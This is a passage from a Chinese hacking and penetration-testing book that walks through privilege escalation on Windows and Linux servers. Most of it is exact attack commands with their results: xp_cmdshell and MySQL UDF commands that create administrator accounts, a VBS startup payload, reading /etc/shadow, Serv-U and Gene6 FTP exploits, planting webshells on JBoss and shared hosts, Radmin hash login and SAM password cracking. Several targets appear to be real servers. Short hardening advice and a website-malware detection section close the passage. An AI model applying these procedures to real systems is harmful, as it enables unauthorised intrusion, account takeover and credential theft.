    {"text": "图6-149 执行IIS脚本后门程序 6.17.2 通过浏览器查看IIS后门 01 通过浏览器查看IIS后门 在浏览器地址栏中输入“http://www.somesite.com/iisdoor/c”，就可以查看IIS后门。 也可以在浏览器地址栏中输入“http://2** .***．***.87/***/c”来查看IIS后门，如图6-150所示。 图6-150 查看IIS后门 02 通过IE浏览器打开IIS后门 直接打开IE浏览器，依次选择“文件”→“打开”选项，在“打开”对话框中输入IIS后门地址“http://www. somesite.com/iisdoor/c”，并选中“以Web文件夹方式打开”复选框，如图6-151所示。"},
    {"text": "图6-151 通过IE浏览器打开IIS后门 6.17.3 执行网页木马程序 按照6.17.2节的方式，使用IE浏览器打开IIS后门，向其中复制一个ASP网页木马文件，然后在IE浏览器地址栏中输入“IIS后门+网页木马文件名”，即可打开并执行网页木马。 例如，IIS后门地址为“http://www.somesite.com/iisdoor/c”，网页木马文件位于C盘，名称为“hack.asp”，则在浏览器地址栏中输入“http://***.***.**2/p***t/c/hack.asp”，打开后如图6-152所示。 图6-152 执行网页木马程序 说明 （1）在对方计算机上执行通过IIS后门设置的网页木马程序，由于IIS脚本中设置为“不进行日志记录”，因此不会留下任何痕迹。"},
    {"text": "（2）在“运行”文本框中输入“http://***．***．**2/p***t/c/”可以直接打开窗口，其打开方式与访问“网上邻居”有些类似，如图6-153所示。"},
    {"text": "图6-153 从“运行”文本框中打开IIS后门 6.17.4 小结 本节介绍了IIS脚本的相关知识。 Windows中有关IIS的设置和操作都是通过脚本实现的，通过分析其使用的特点和语法构建了IIS后门脚本，通过执行IIS脚本可以获取一个“隐蔽”的后门，该后门功能强大，配合网页程序可以实施完全控制。"},
    {"text": "第7章 Windows和Linux提权技术 Web渗透的终极目标就是获取服务器权限，也即在获取WebShell权限后，利用现有信息和资源，通过各种途径，让WebShell权限提升到操作系统权限。"},
    {"text": "本章主要内容 SQL Server 2005提权 MySQL数据库root账号提权 Serv-U提权 Windows 2008中Magic Winmail Server提权 Pr提权渗透国外某高速服务器 JBoss信息泄漏获取WebShell 远程控制软件Radmin提权限研究 Gene6 FTP Server本地提权 7.1 SQL Server 2005提权 SQL Server 2005及SQL Server 2008都将“xp_cmdshell”等危险存储过程删除了，但这并不影响提权。"},
    {"text": "只要获取了sa口令，重新添加存储过程，即可像MSSQL 2000 Server一样提权。 SQL Server 2005提权的思路很简单，需要获取数据库的用户名和密码，然后通过恢复存储过程执行命令，下面是详细的提权过程。"},
    {"text": "7.1.1 查看数据库连接文件 通过WebShell查看网站的源代码，如图7-1所示，通过分析首页default.asp文件，获知数据库连接文件为openconnection.asp。 图7-1 分析首页文件 技巧 数据库连接文件的名称一般为conn.asp、openconnectiong.asp、connection.asp，这些文件多位于网站根目录或者“includes”等文件夹下，通过查看首页代码大都能准确找到数据库连接文件。 7.1.2 获取数据库用户和密码 找到数据库连接文件openconnection.asp，将其下载到本地并打开，如图7-2所示，知道数据库用户为“sa”，密码为“Tp*****234”，将其复制出来留待后面使用。 图7-2 获取数据库用户和密码 7.1.3 数据库连接设置 在连接SQL Server 2005之前，需要对数据库进行设置，需要知道sa用户的密码和数据库，默认采用master数据库。 在“ConnString”中修改相应的设置，主要是在数据库类型中选择相对应的数据库类型，在WebShell中单击“Database”，如图7-3所示，设置完毕后单击“Go”按钮进行数据库连接测试。 图7-3 设置MSSQL连接 7.1.4 查看连接信息 如果数据库用户名、密码及数据库名称均设置正确，连接成功后会显示相应的信息。"},
    {"text": "例如，“MSSQL Version : Microsoft SQL Server 2005- 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6001: Service Pack 1）及“SrvRoleMember : sa”，表明数据库版本为“icrosoft SQL Server 2005- 9.00.4035.00”，数据库用户角色是“sa”，如图7-4所示。"},
    {"text": "图7-4 获取数据库基本信息 7.1.5 添加xp_cmdshell存储过程 可以直接在“Run SQL”中输入“Exec sp_configure'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 1; RECONFIGURE;”脚本添加xp_cmdshell存储过程，也可以通过WebShell进行。 在“SQLExec”下拉列表中选择第三个命令选项“Add xp_cmdshell(SQL2005)”，如图7-5所示。 图7-5 添加xp_cmdshell存储过程 7.1.6 添加用户 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，修改其添加用户命令，即“Exec master.dbo.xp_cmdshell 'net user temp Wantian365.com! */add '”，将添加用户“temp”，密码为“Wantian365.com! *”，如图7-6所示，单击“Query”按钮添加用户。 图7-6 添加用户 7.1.7 将普通用户添加到管理员组 在“SQLExec”下拉列表中继续选择“XP_cmdshell exec”选项，然后将temp用户添加到管理员组，即运行命令“Exec master.dbo.xp_cmdshell'net localgroup administrators temp/add '”，添加成功后如图7-7所示。 图7-7 添加temp用户为管理员 7.1.8 通过“XP_cmdshell exec”查看系统用户 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell会自动给出脚本“Exec master.dbo.xp_cmdshell'net user'”，如图7-8所示，单击“Query”按钮查询系统用户。"},
    {"text": "图7-8 查看用户 图7-9 查看系统用户 7.1.9 远程终端登录 打开远程终端连接登录，输入IP地址及刚才添加的用户名和密码，如图7-10所示，成功进入操作系统，操作系统为Windows 2008 Server。"},
    {"text": "7.2 MySQL数据库提权 下面介绍MySQL数据库提权的相关内容。 7.2.1 设置MySQL提权脚本文件 将MySQL提权脚本文件上传到服务器，运行后需要对IP地址、UID、密码、数据库进行配置。 如图7-11所示，IP地址一般可以设置为localhost、127.0.0.1及真实的IP地址，UID默认为root，其他具有root用户权限的用户名称也可以使用，密码为具有root权限的用户的密码，数据库默认选择MySQL数据库，单击“提交查询内容”按钮进行连接测试。 图7-11 设置MySQL提交脚本文件 7.2.2 进行连接测试 连接成功后，会给出相应的提示，如图7-12所示，包括用户、数据库、数据目录（datadir）、基本目录（basedir）、版本、插件路径、MySQL函数等信息。"},
    {"text": "图7-14 查看用户 7.2.5 创建具有管理员权限的用户 分别在查询文本框中输入脚本“select shell('cmd' ,'net user temp temp123456')”、“select shell('cmd','net localgroup administrators temp/add ')”并执行该查询命令，如果执行成功，则表示在系统中添加用户“temp”，密码为“temp123456”，同时将该用户添加到管理员组中，使其具备管理员权限，执行成功后如图7-15和图7-16所示。 图7-15 添加temp用户 图7-16 将用户temp添加到管理员组 7.2.6 提权成功 在SQL查询文本框中输入“select shell('cmd' ,'net localgroup administrators')”命令查看刚才添加的用户是否添加成功，如图7-17所示，查询结果表明已经将temp用户添加到管理员组中。 图7-17 查看管理员用户 目前很多网站都会提供远程终端服务，只要用户添加成功，就可以直接登录该服务器。 如图7-18所示，输入用户名和密码，成功进入该服务器，至此，就通过MySQL的root用户成功提权。 图7-18 成功进入服务器 7.2.7 小结 通过本例中的方法可以快速将WebShell权限提升到服务器权限，当然，还有其他方法可以通过MySQL提权。 下面对经常用到的一些有关MySQL的提权命令和方法进行总结。 1．UDF提权的常用命令 UDF提权的常用命令如下。 • create function cmdshell returns string soname 'udf.dll' • select cmdshell('net user antian365 123! @#abcABC/add'); • select cmdshell('net localgroup administrators antian365/add'); • select cmdshell('net localgroup administrators '); • select cmdshell('ipconfig/all'); • select cmdshell('net user'); • select cmdshell('regedit/s d:\\wwwroot\\3389.reg'); • drop function cmdshell; • select cmdshell('netstat-an'); 2．VBS启动项提权 先通过WebShell连接数据库，通过建立表a将VBS脚本写入表中，然后导入启动项。"},
    {"text": "该脚本仅对中文版本有效，如果使用其他语言版本的操作系统，仅需对“C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\＼程序\\＼启动＼\\a.vbs”这个脚本进行相应更改。 在VBS脚本后面有一个“0”，表示不弹出CMD窗口，以静默模式运行。 该方法是在通过UDF提权失败的情况下，将VBS插入启动项中，待系统重启后将自动添加一个用户，示例如下。"},
    {"text": "create table a (cmd text); insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\") \" ); insert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user antian 123!@#$% /add\"\",0) \" ); insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup administrators antian /add\"\",0) \" ); select * from a into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开始」 菜单\\\\程序\\\\启动\\\\a.vbs\"; 3．Linux下的MySQL提权 Linux下的MySQL提权命令如下。 mysql -h localhost -uroot -p system useradd hacker system passwd hacker system tail -l /etc/passwd system tail -l /etc/shadow 7.3 Serv-U提权 Serv-U提权是Windows系列服务器提权最常用的方法之一，目前Serv-U最新版本为9.x，自Serv-U 8.0以后，Serv-U提权方式发生了一些办法。 只要系统安装了Serv-U，通过WebShell可以直接提权。"},
    {"text": "7.3.1 利用WebShell查看系统管理员用户组 在ASP.NET的WebShell中，单击“CmdShell”超链接，在“CmdPath”文本框中将“cmd.exe”修改为“net”或者“net.exe”，然后在“Argument”文本框中输入“net localgroup administrators”，最后单击“Submit”按钮查看管理员用户组，如图7-19所示，一共有4个管理员用户。 图7-19 查看管理员用户组 7.3.2 执行SU Exp 在ASP.NET的WebShell中单击“SU Exp”超链接，“UserName”、“Password”、“Port”文本框采取默认设置，一般情况下不用变更。"},
    {"text": "在“CmdShell”文本框中输入“cmd.exe/c net user king king 123456! @#/add”，如图7-20所示，执行添加用户命令，在系统中添加一个“king”用户，用户密码为“123456! @#”。"},
    {"text": "图7-21 执行命令提示 在“Su EXP”页面中修改“CmdShell”命令为“cmd.exe/c net localgroup administrators/add”，将king用户添加到管理员组中，如图7-22所示。 图7-22 添加用户到管理员组 7.3.3 检查Serv-U提权情况 回到“CmdShell”页面，再次执行“localgroup adminstartors”命令，如图7-23所示，king用户已经成功添加到管理员组中。"},
    {"text": "图7-23 检查程序执行情况 7.3.4 远程终端登录测试 在ASP.NET的WebShell中单击“SysInfo”超链接，如图7-24所示，可以方便地获取远程终端的端口及其他一些系统相关信息。"},
    {"text": "图7-24 查看端口信息 打开远程终端登录窗口，在连接地址中输入“xxx.xxx.xxx.xxx :53389”，如图7-25所示，输入刚才添加的用户名和密码，成功登录远程终端，说明Serv-U提权成功。 图7-25 Serv-U提权成功 7.3.5 小结 Serv-U默认安装在C盘，但也可能安装在其他路径，因此，在提权时需要通过WebShell查看Serv-U的真实路径，特别是通过ASP的WebShell提权时，必须进入Serv-U的真实路径，提权才会成功。 Serv-U 7.0以后的版本提权相对较难，目前网上也有利用程序，但在提权时需要设置才能提权成功。 通过WebShell对Serv-U提权是一种方法。 对Serv-U来说，如果通过WebShell可以查看Serv-U的配置文件，那么还可以通过破解Serv-U的用户密码来提权。"},
    {"text": "7.4 Windows Server 2008中Magic Winmail Server提权 Magic Winmail Server是一款安全、易用、全功能的邮件服务器软件，不仅支持SMTP、POP3、IMAP、Webmail、LDAP（公共地址簿）、多域、发信认证、反垃圾邮件、邮件过滤、邮件组、公共邮件夹等标准邮件功能，还提供了RBL、SPF、Spam Assassin、邮件签核、邮件杀毒、邮件监控功能，并支持IIS、Apache、网络硬盘及共享、短信提醒、邮件备份、SSL（TLS）安全传输协议、邮件网关、动态域名支持、远程管理、Web管理、独立域管理员、在线注册、二次开发接口等特色功能。"},
    {"text": "Magic Winmail Server程序安装为系统服务，程序一般是在administrator权限下运行的，而服务程序MailServer.exe是在system权限下运行的，因此，当有WebShell时，就可以通过这个漏洞来提升权限了。 Magic Winmail Server提供的Webmail是通过PHP脚本实现管理的，下面就针对该邮件服务器的提权和防范进行探讨。"},
    {"text": "图7-26 获取Winmail的网站真实路径 • 如果获取的WebShell是ASP.NET，则可以直接通过查看进程或者服务获取Winmail的物理地址； 如果iisspy可以使用，也可以获取Winmail的网站真实路径。 • 针对目标对象进行邮件地址测试，一般提供Winmail的地址多为mail.somesie.com或者webmail.somesite.com。"},
    {"text": "7.4.2 执行whoami命令 在WebShell中进入“Execute Command”页面，在“Use”下拉列表中选择“phpfunc”选项，在“Command”文本框中输入“whoami”命令查看WebShell是什么权限，如图7-27所示，显示为“nt authority\\system”权限。 图7-27 查看WebShell的权限 7.4.3 添加用户到管理员组 既然是系统权限，就可以直接执行添加命令。"},
    {"text": "由于系统是Windows Server 2008，所以，前几次添加用户总是提示不成功，分析发现Windows Server 2008系统用户密码对强度有要求，必须具备一定的复杂度才能添加成功。"},
    {"text": "如图7-28所示，执行“net user SQLdebugger WsP%emp2005! */add”命令成功。 后面分别执行“net user SQLdebugger Administrators/add”和“net localgroup administrators”命令，将SQLdebugger用户加入管理员组中，并查看管理员用户组中的用户，执行效果如图7-29和图7-30所示。"},
    {"text": "图7-28 添加用户到系统中 图7-29 添加用户到管理员组中 图7-30 查看系统管理员组 7.4.4 设置并登录远程终端服务器 依次单击“开始”→“运行”选项，在“运行”文本框中输入“mstsc”命令，打开远程桌面连接窗口。"},
    {"text": "如图7-31所示，在“计算机”设置框中输入目标服务器的IP地址或者域名，在“用户名”文本框中输入“SQLdebugger”，在“密码”文本框中输入刚才添加的密码，选中“保存密码”复选框，下次连接时不用再次输入密码。"},
    {"text": "图7-32 进入Windows Server 2008远程桌面 7.4.5 Winmail邮箱用户与口令 Winmail的配置文件保存在“G:/Winmail/server/”目录下，也即Winmail安装目录下的“Server”子目录。"},
    {"text": "图7-33 Winmail用户配置文件 图7-34 获取Winmail的MD5密码 7.4.6 进入邮箱 使用破解的密码和用户名成功登录，通过验证可知，Winmail PHP版本的邮件用户密码多采用MD5加密。"},
    {"text": "通过ASP.NET的WebShell查看进程获取hzhost的物理路径，如果能够访问hzhost的物理路径，则可以下载其管理所用的数据库表site.mdb，在site.mdb数据库中会保存root和sa用户的密码。"},
    {"text": "7.5.1 分析AWS扫描结果 如图7-35所示，AWS扫描结束后给出了265个警告信息，虽然出现的高危跨站漏洞较多，但对于普通安全人员来说，利用XSS有一定的难度。"},
    {"text": "图7-36 获取文件上传网页地址 7.5.3 直接上传网页木马测试 通过测试发现上传页面能够正常访问，则可以按照以下方法来上传网页木马。 • 直接上传网页木马。 网页木马可以是大马，也可以是小马，还可以是IIS文件命名漏洞的图片文件。"},
    {"text": "图7-37 上传网页木马 7.5.4 创建并操作一句话后门 “中国菜刀”真是一句话后门操作的福音。 如图7-38所示，在“地址”文本框中输入一句话后门地址“http://www.kuaijielin.com/sywebeditor/2.asp;1.jpg”，密码为“cmd”，单击“添加”按钮即可将该后门地址添加到“中国菜刀”管理器中。 在“中国菜刀”中，单击刚才添加的一句话后门地址，如果连接成功，则可以直接对该网站文件进行操作，如图7-39所示。 图7-38 创建一句话后门 图7-39 管理一句话后门 7.5.5 上传大马进行管理 在“中国菜刀”中将网页大马上传到网站中，如图7-40所示，通过该页面进行文件上传、删除、修改和下载等管理操作。"},
    {"text": "图7-40 上传网页大马 7.5.6 查看网站服务器文件 通过网页木马查看目标网站所在服务器上的文件，如图7-41所示，获取了该网站所在服务器的管理平台的数据库，将该数据库下载到本地。"},
    {"text": "访问“Data”目录，将user.MYD文件下载到本地，该文件保存了MySQL的所有数据库用户名称和密码等信息，如图7-42所示。 MySQL的user.MYD文件中的用户密码可以在cmd5网站查询破解。"},
    {"text": "图7-42 下载MySQL数据库的user.MYD文件 7.5.7 查询目标网站所在服务器下的所有域名 通过网址“http://www.yougetsignal.com/tools/web-sites-on-web-server/”查询该IP地址下的所有域名，如图7-43所示，获得了33个网站域名。 图7-43 获取网站域名 7.5.8 分析site.mdb数据库 由于目标网站使用的管理系统为华众管理系统（HZHOST），所以，需要下载该安装文件下的site.mdb。 site.mdb中有site、sqlseting和vhostseting共3个表，其中site表记录的是站点名称、FTP用户名称、FTP密码、站点所在目录等信息，如图7-44所示，在该表中可以直接获取FTP用户名和密码，主机所能支持的语言类型（ASP、PHP和NET2）等信息。"},
    {"text": "图7-44 获取网站管理信息 图7-45 获取网站sa和root用户的密码 7.5.9 上传PHP WebShell 通过site.mdb数据库找出支持PHP编程语言的虚拟机主机站点，通过FTP直接连接该站点，输入从site表中获取的网站用户名和相对应的密码，顺利登录该FTP服务器。 如图7-46所示，执行“put control.php”命令将本地的control.php网页木马上传到网站。"},
    {"text": "图7-46 通过FTP上传WebShell 图7-47 测试上传的WebShell 7.5.10 Pr提权 将Pr提权工具上传到网站服务器，在“CmdPath”文本框中输入“C:\\RECYCLER\\pr.exe”，在“Argument”文本框中输入“net user temp temp2005/add”，将temp用户添加到系统中，如图7-48所示。"},
    {"text": "图7-48 添加temp用户到系统 图7-49 将temp用户添加到管理员组中 图7-50 temp用户已成为管理员 7.5.11 获取远程终端端口 使用NMap对该服务器IP地址的所有TCP端口进行扫描，如图7-51所示，成功获取该服务器的远程终端端口。 图7-51 扫描服务器端口 7.5.12 登录远程终端 通过远程终端客户的程序mstsc.exe直接登录该服务器，输入刚才添加的用户名和密码，顺利登录服务器，如图7-52所示。"},
    {"text": "图7-52 登录远程终端 7.6 通过JBoss信息泄漏获取WebShell 关于JBoss的渗透有很多方法，本节提到的这个方法是在前人的基础上快速获取WebShell，该方法简单可行。 对于Linux的渗透，国外黑客喜欢直接执行命令，而国内黑客喜欢GUI，因此，在获取简单的WebShell，也即仅可以执行命令的WebShell的情况下，如何获取真正可操作的WebShell是一大难点。"},
    {"text": "图7-53 测试JBoss网页 7.6.2 查看Tomcat的状态 提到查看Tomcat的状态，很多人首先想到的就是通过JMX Console的deployment的addurl函数部署WAR的JSP WebShell。"},
    {"text": "通过查看Tomcat的所有状态获取目前JBoss应用的运行情况，如图7-54所示，该服务器至少被两个人入侵过，且服务器还在运行该WebShell，“zecmd/zecmd.jsp”即为网站的WebShell。 图7-54 查看Tomcat的状态 7.6.3 执行命令测试 输入WebShell的完整地址，打开该WebShell页面，在输入框中输入“cat/etc/passwd”查看Linux系统用户的密码，测试结果表明该WebShell的权限是root权限，也即服务器权限，如图7-55所示。"},
    {"text": "图7-55 测试WebShell 7.6.4 下载JSP WebShell的TXT文件到本地 虽然获取了WebShell，但该WebShell为cmd的WebShell，操作起来非常不方便，因此，需要上传并部署一个好用的WebShell。 先向肉机服务器上传一个TXT格式的JSP WebShell，然后使用“wget http://www.somesite.com/Browser.txt”命令将该文件下载到该Linux服务器上，使用“ls-al”命令查看文件是否下载成功。"},
    {"text": "图7-56 下载WebShell到Linux服务器 7.6.5 寻找可运行路径 在Linux层次结构中，用户可以在被授权的任意目录下利用mkdir命令创建新目录，也可以利用cd命令从一个目录切换到另一个目录。"},
    {"text": "在本例中使用pwd命令获取当前路径位置，如图7-57所示，显示路径为“/opt/jboss-4.0.5.GA/bin”。 图7-57 获取当前执行命令的路径 7.6.6 查看JBoss默认部署路径的文件和目录 通过“ls-al”获取当前路径下的文件和目录名称，完整命令为“ls-al/opt/jboss-4.0.5.GA/”，通过在绝对路径中添加新的路径获取JBoss部署的路径，如“/opt/jboss-4.0.5.GA/server/default/deploy/”，如图7-58所示，分别显示了文件和目录，目录是以“d”开头的。 图7-58 查看JBoss默认部署路径的文件和目录 7.6.7 查看管理后台部署文件 部署路径下的目录有两种：一种是filename .war； 另一种是系统自带的目录，如“management”目录就是管理默认目录，如图7-59所示，该目录下已经被部署了好几个Shell。 图7-59 查看管理后台部署文件 7.6.8 复制JSP WebShell到指定目录 将下载的JSP WebShell复制到该目录下即可获取WebShell。"},
    {"text": "执行“cp Browser.txt/opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war/2.jsp”命令，如图7-60所示。 然后，执行“ls-al/opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war”命令，查看文件是否复制成功，结果如图7-61所示，表示文件已经成功复制。"},
    {"text": "图7-60 复制JSP WebShell到指定目录 图7-61 查看复制文件是否成功 7.6.9 成功获取WebShell 在浏览器地址栏中输入“http://xxx.xxx.xxx.xxx:8080/zmeu/2.jsp”进行访问，如图7-62所示，成功获取JSP WebShell。"},
    {"text": "图7-62 成功获取JSP WebShell 7.6.10 管理与维护 图7-63 查看已经被部署的Web应用 对管理人员来说，可以通过查看Tomcat的状态获取Web应用的情况。"},
    {"text": "7.7 远程控制软件Radmin提权研究 在网络安全技术比较成熟的今天，一些配置上的疏忽或者管理上的不到位将会导致巨大的安全风险。 在笔者的眼中，远程控制软件除了利用溢出等漏洞外，利用口令等方式提升权限无疑是一种上佳选择。"},
    {"text": "按照网上的说法，需要反汇编工具软件的配合，但由于其操作较为烦琐，且成功率较低，后面有人将整个过程进行优化，将Radmin客户端程序进行了修改，提供了Radmin-Hash登录版本，因此有了本节内容。"},
    {"text": "在Radmin 2.x中，其密码是经过加密的32位MD5 Hash值，保存在注册表中Radmin键值下的Parameter中。 例如，“\"Parameter\"=hex:f4,7b,bc,b1,77,44,6e,73,dd,c2,c3,a7,4c,94,15,fd”、“f47bbcb17744 6e73ddc2c3a74c9415fd”就是Radmin 2.x的MD5 Hash值。"},
    {"text": "如果知道安装Radmin服务端计算机的IP地址、端口及密码，且没有做IP地址限制，那么只要能够访问该计算机，就可以对该计算机实施完全控制。"},
    {"text": "Radmin远程控制软件本身没有太多缺陷，但是由于管理人员的疏忽、系统存在其他配置或者程序存在漏洞，因此获取其Radmin的32位Hash值后极有可能造成极大的安全隐患。 隐患之一就是使用Radmin-Hash客户端进行登录——只要获取了Radmin的Hash值，就可以成功登录该主机。"},
    {"text": "一般来说，获取服务器上的Hash值比较困难，目前很多服务器在安全设置上都处理得不错，对外开放的端口较少，因此只能通过SQL注入或者跨站攻击来获取。"},
    {"text": "7.7.2 使用Radmin-Hash版本进行登录 Radmin-Hash版本的客户端只要输入Radmin客户端的Hash值即可进行登录。 在Radmin-Hash客户端中新建服务端，如图7-64所示，建立成功后使用“工具选项”菜单中的“扫描存活主机”选项对该主机进行连接测试，如果该主机可以连接，则会在标识中以黄色的对勾显示。 图7-64 建立Radmin连接 7.7.3 进行登录验证尝试 选择“221.12.*.*”标识，双击进行连接，Radmin-Hash版本的客户端会弹出要求输入密码的对话框，如图7-65所示，输入该服务端对应的32位的Hash值，然后单击“确定”按钮进行登录尝试。 根据网络连接情况，数秒后，如果Hash值正确，则可以顺利进入Radmin的相应管理界面。 如图7-66所示，进入Radmin服务端的Telnet管理界面，在该界面中可以执行各种命令。 图7-65 输入Radmin的32位Hash值 图7-66 成功进入Telnet管理 技巧 WebShell获取的权限很低，除了网站目录外，基本上做不了其他事情，甚至无法执行DOS命令，而通过Radmin的Telnet管理端则几乎可以执行任何命令。 7.7.4 查看远程屏幕和传输文件 在Radmin客户端中选择屏幕监控，然后双击其标识，再次输入32位Hash值，即可查看其远程主机的屏幕。"},
    {"text": "图7-67 查看远程屏幕 7.7.5 获取密码或者进行内网渗透 在Telnet中进入getpw.exe文件所在目录，执行“getpw $local”命令获取该主机所有账号的sam值，如图7-68所示。"},
    {"text": "图7-68 获取主机sam值 7.7.6 破解密码 将包含sam值的文件进行整理，将包含账号的sam值另存为一个sam文件，运行LC5，并将sam值导入其中进行破解，如图7-69所示，破解成功后管理员账号Administrator的密码为“rous* * *”。 图7-69 破解管理员账号 7.7.7 登录远程桌面 在本地打开远程桌面连接器，输入远端IP地址进行登录测试，出现远程连接桌面后，输入破解后的密码，成功进入远程管理桌面，如图7-70所示。"},
    {"text": "• 在Radmin服务端中进行授权设置。 在Radmin中可以对登录用户进行授权，对不同的IP地址或者用户设置不同的权限，如上传文件、读取文件、写入文件、执行命令等。"},
    {"text": "• 使用IP限制。 如果登录用户的IP地址是固定的，则可以在IP地址限制中进行设置，如仅允许客户的IP地址进行登录，这样，只有使用客户网段才能登录。"},
    {"text": "• 使用Radmin中的日志记录。 Radmin中默认未启用日志记录，可以在DOS提示符下输入“R_server/setup”命令打开设置窗口，如图7-71所示，在“Logging”设置区中分别勾选“Use Event Log”及“Use logfile”复选框，并设置日志文件名称及路径，然后单击“OK”按钮完成设置。 图7-71 在Radmin中启用日志记录 • 在发生入侵后或者不定期修改Radmin及管理员的账号和密码。"},
    {"text": "7.8 Gene6 FTP Server本地提权 在实际渗透测试过程中，笔者碰到一个目标服务器上安装了Gene6 FTP Server，且获取了该服务器上某个网站的WebShell的情况。"},
    {"text": "Gene6 FTP Server是一个基于Windows操作系统开发的安全、高效的高级FTP服务器软件，它不仅可靠，而且具有很强的可控性，支持远程管理、128位SSL加密的数据连接，使用非常方便。 Gene6 FTP Server优良的性能及平易近人的价格使它不仅能应付高负载下的文件传输服务器，对于追求高可靠性、强定制性和易管理性的企业服务器也是很好的选择。 其最新版本为Gene6 FTP Server 3.10.0.15，官方网站地址为http://www.g6ftpserver.com/。 Gene6 FTP Server是一款非常流行的Windows平台的FTP Server，默认安装后，本地的非特权用户可以修改Gene6 FTP Server的设置，如添加新的site命令。"},
    {"text": "• Gene6 G6 FTP Server 3.4 • Gene6 G6 FTP Server 3.3.1 • Gene6 G6 FTP Server 3.3 • Gene6 G6 FTP Server 3.2 • Gene6 G6 FTP Server 3.1 • Gene6 G6 FTP Server 3.0.2 • Gene6 G6 FTP Server 3.0.1 • Gene6 G6 FTP Server 3.0 • Gene6 G6 FTP Server 2.0 7.8.1 通过互联网获取漏洞的利用信息 笔者获取了一个对该漏洞的利用方法（http://www.51cto.com/art/200508/5263.htm），具体如下。"},
    {"text": "---cut here ------------------------- net user abc /add net localgroup administrators abc /add ---cut here ------------------------- 05 将ABC.bat映射到新建的site命令，如ABC。"},
    {"text": "7.8.2 修改user配置参数获取本地服务器权限 01 搭建FTP Server服务器 在本地安装Gene6 G6 FTP Server 3.4，安装完成后设置一个域，并建立一个普通账号“test”，密码为“test”，如图7-72所示。 在实际渗透测试过程中，可以通过WebShell读取“c:\\Gene6 FTP Server\\ Accounts\\test\\users\\”user账号下的＊.ini文件，如本例中的test.ini文件。 图7-72 搭建Gene6 G6 FTP Server测试环境 02 修改配置参数 找到test.ini文件，如图7-73所示，在其中加入如下语句。"},
    {"text": "图7-73 修改用户参数文件 SiteCommandList0=-1,hack,C:\\RECYCLER\\1.bat,0,60,0,0,hack • “C:\\RECYCLER\\1.bat”为需要执行的批处理，可以根据实际需要，将“1.bat”文件换成远控木马。"},
    {"text": "• “SiteCommandList”是配置文件指令，支持在site命令后面添加“0”、“1”、“2”、“3”以区别不同的命令。 如果INI文件中已经有“SiteCommandList0”指令了，那么我们再添加时就需要修改为“SiteCommandList1”了。"},
    {"text": "03 添加执行批处理文件或者木马程序 如图7-74所示，到“C:\\RECYCLER”目录下新建一个批处理文件“1.bat”，其内容为添加一个管理员用户。 “1.bat”也可以是“1.exe”，只要是能运行的程序即可，可以是WCE等。"},
    {"text": "在登录提示出现后，输入用户名“test”和密码“test”后，再执行“quote site hack”命令，即可在服务器上添加一个管理员用户hack，使用命令“net localgroup administrators”查看该服务器上所有管理员，如图7-75和图7-76所示，成功获得服务器管理员权限。 图7-75 登录FTP并执行命令 图7-76 成功添加管理员用户hack 05 FTP密码为MD5加密 打开test.ini文件，在其中可以看到其密码采用MD5加密，如图7-77所示，将加密值复制到cmd5网站可以直接进行破解。 图7-77 FTP用户密码为MD5加密 06 FTP管理员提权 对于FTP管理员提权，实际利用没有测试过，其思路主要就是通过破解其管理员密码，然后通过LCX进行本地端口转向，并进行连接。 对于FTP端口不是21端口的情况，命令为“open 127.0.0.1 8021”，这个命令需要在FTP提示符下执行，也即先运行FTP命令。 7.8.3 漏洞修复和加固方法 建议升级当前Gene6 FTP Server到最新版本Gene6 FTP Server 3.10.0.15，或者对程序进行降权处理，对user.ini文件进行严格的权限处理，即仅允许读取，不允许修改配置文件。"},
    {"text": "本章主要通过一些实际案例讨论如何防范Windows及Linux在安全方面存在的问题，这些问题具有一定的代表性，掌握这些方法可以触类旁通。 本章主要内容 网站挂马的检测与清除 巧用MBSA检查和加固个人计算机 使用“冰刀”进行安全检查 手工清除病毒 计算机网络入侵安全检查分析研究 电子邮件社会工程学攻击防范研究 SQL注入攻击技术及其防范研究 操作系统密码安全设置 使用chkrootkit和rkhunter检查Linux后门 Windows下PHP+MySQL+IIS安全配置 Windows下PHP+MySQL+IIS安全平台高级配置 8.1 网站挂马的检测与清除 据不完全统计，90％的网站都被挂过马。 挂马是指在获取网站或者网站服务器的部分或者全部权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是包括IE等漏洞在内的利用代码，用户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序，进行盗号等危险操作。 目前，挂马主要是为了获取商业利益，有的是为了赚取流量，有的是为了盗取游戏账号的，也有的是为了好玩。 不管出于哪种目的，对于访问被挂马的网站来说都是一种潜在的威胁，甚至会影响网站所代表的公司的形象。 当一个网站运营很长时间后，网站文件会非常多，手工查看网页文件代码非常困难，杀毒软件仅能对恶意代码进行查杀，对网页木马及挂马程序不一定能全部查杀。 本节就如何利用安全检测工具软件来检测和清除网站木马进行探讨，使用本节介绍的工具可以轻松地检测网站是否被挂马。 8.1.1 检测网页木马程序 01 安装URL Snooper URL Snooper是一款URL嗅探工具，其官方主页为http://www.donationcoder.com/urlsnooper，安装步骤非常简单，按照提示进行安装即可。"},
    {"text": "第一次使用时程序会自动检测网卡，以确定能否正常连接网络，设置无误后，应该出现如图8-1所示的界面。 图8-1 正确安装后的界面 注意 如果未出现如图8-1所示的界面，说明程序设置存在问题。"},
    {"text": "02 对网站进行侦测 在URL Snooper的“Protocol Filter”下拉列表中选择“Show All”选项，单击“Sniff Network”按钮，开始监听网络。 接着，使用IE浏览器打开需要进行木马检测的网站，URL Snooper会自动抓取网站中的所有链接，在“Index”列中按照5位数字序号进行排列，如图8-2所示。"},
    {"text": "发现存在挂马代码“<script src=http://%61 %76%65%31%2E%63%6E></script>”。 在百度中对其进行搜索，如图8-3所示，有30多条搜索结果，可以辅佐证明该段代码为挂马代码。"},
